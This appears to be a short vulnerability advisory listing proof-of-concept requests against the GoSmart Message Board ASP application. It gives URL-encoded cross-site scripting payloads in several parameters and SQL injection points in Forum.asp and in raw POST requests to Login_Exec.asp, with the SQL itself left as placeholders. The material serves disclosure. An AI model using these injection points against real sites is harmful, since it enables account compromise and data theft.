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Go Smart Inc GoSmart Message Board Multiple Input Validation Vulnerabilities

An exploit is not required to leverage these issues.

The following proof of concept examples are available:

Cross-site scripting:
/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript
%3Ealert%28%29%3C%2Fscript%3E%3C%22

/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%
28%29%3C%2Fscript%3E%3C%22

SQL injection:
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1

messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1

messageboard/Forum.asp?Category=[SQL CODE HERE]

POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

Username=[SQL CODE HERE]&Password=1&Login=1


POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

Username=1&Password=[SQL CODE HERE]&Login=1